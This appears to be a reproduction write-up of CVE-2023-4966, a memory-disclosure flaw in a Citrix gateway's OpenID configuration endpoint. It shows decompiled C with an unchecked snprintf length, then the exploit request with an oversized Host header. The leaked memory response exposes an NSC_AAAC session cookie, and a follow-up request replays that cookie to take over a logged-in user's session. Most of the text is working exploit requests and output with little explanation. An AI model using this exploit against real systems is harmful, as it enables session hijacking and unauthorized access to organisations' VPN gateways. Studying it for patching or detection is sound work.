CVE-2023-4966复现

iVar3 = snprintf(print_temp_rule,0x20000,               "{"issuer": "https://%.*s", "authorization_endpoint": "https://%.*s/oauth/ idp/login", "token_endpoint": "https://%.*s/oauth/idp/token", "jwks_uri":  "https://%.*s/oauth/idp/certs", "response_types_supported": ["code", "toke n", "id_token"], "id_token_signing_alg_values_supported": ["RS256"], "end _session_endpoint": "https://%.*s/oauth/idp/logout", "frontchannel_logout_sup ported": true, "scopes_supported": ["openid", "ctxs_cc"], "claims_support ed": ["sub", "iss", "aud", "exp", "iat", "auth_time", "acr", "amr ", "email", "given_name", "family_name", "nickname"], "userinfo_endpoin t": "https://%.*s/oauth/idp/userinfo", "subject_types_supported": ["public"]}"               ,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8);authv2_json_resp = 1;iVar3 = ns_vpn_send_response(param_1,0x100040,print_temp_rule,iVar3);

uVar7 = snprintf(print_temp_rule,0x20000,               "{"issuer": "https://%.*s", "authorization_endpoint": "https://%.*s/oauth/ idp/login", "token_endpoint": "https://%.*s/oauth/idp/token", "jwks_uri":  "https://%.*s/oauth/idp/certs", "response_types_supported": ["code", "toke n", "id_token"], "id_token_signing_alg_values_supported": ["RS256"], "end _session_endpoint": "https://%.*s/oauth/idp/logout", "frontchannel_logout_sup ported": true, "scopes_supported": ["openid", "ctxs_cc"], "claims_support ed": ["sub", "iss", "aud", "exp", "iat", "auth_time", "acr", "amr ", "email", "given_name", "family_name", "nickname"], "userinfo_endpoin t": "https://%.*s/oauth/idp/userinfo", "subject_types_supported": ["public"]}"               ,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8);uVar4 = 0x20;if (uVar7 < 0x20000) {    authv2_json_resp = 1;    iVar3 = ns_vpn_send_response(param_1,0x100040,print_temp_rule,uVar7);    ...}

GET /oauth/idp/.well-known/openid-configuration HTTP/1.1Host: a <repeated 24812 times>Connection: close

HTTP/1.1 200 OKX-Content-Type-Options: nosniffX-XSS-Protection: 1; mode=blockContent-Length: 147441Cache-control: no-cache, no-store, must-revalidatePragma: no-cacheContent-Type: application/json; charset=utf-8X-Citrix-Application: Receiver for Web{"issuer": "https://aaaaa ...<omitted>... aaaaaaaaaaaaaaaaí§¡ðí§¡-ª¼tÙÌåDx013.1.48.47àd98cd79972b2637450836d4009793b100c3a01f2245525d5f4f58455e445a4a42HTTP/1.1 200 OKContent-Length: @@@@@Encode:@@@Cache-control: no-cachePragma: no-cacheContent-Type: text/htmlSet-Cookie: NSC_AAAC=@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@;Secure;HttpOnly;Path=/{"categories":[],"resources":[],"subscriptionsEnabled":false,"username":null}ðååPÏÏH¡éÒÏeGÁ"RDEFAULTò #pack200-gzipcompressdeflategzipdentityþÿÿÿÿÿ©VPN_GLOBALÿÿÿÿÿÿ   è"AAA_PARAMí

POST /logon/LogonPoint/Authentication/GetUserName HTTP/1.1Host: 192.168.1.51Cookie: NSC_AAAC=59d2be99be7a01c9fb10110f42b188670c3a01f2245525d5f4f58455e445a4a42Content-Length: 0Connection: closeHTTP/1.1 200 OKX-Content-Type-Options: nosniffX-XSS-Protection: 1; mode=blockContent-Length: 4Cache-control: no-cache, no-store, must-revalidatePragma: no-cacheContent-Type: text/plain; charset=utf-8X-Citrix-Application: Receiver for Webtestuser1